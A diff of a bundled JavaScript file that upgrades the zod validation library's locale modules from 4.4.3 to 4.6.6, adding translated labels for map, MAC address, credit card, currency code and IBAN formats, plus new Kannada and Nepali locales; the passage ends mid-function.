node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -70145,12 +71717,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -70218,17 +71794,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -70254,12 +71831,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -70326,17 +71907,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -70362,12 +71944,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -70439,17 +72025,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -70475,12 +72062,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -70550,22 +72141,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -70591,12 +72299,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -70667,11 +72379,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -70685,7 +72397,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -70786,12 +72498,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -70871,17 +72587,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -70907,12 +72624,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -70981,17 +72702,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -71017,12 +72739,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -71089,17 +72815,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 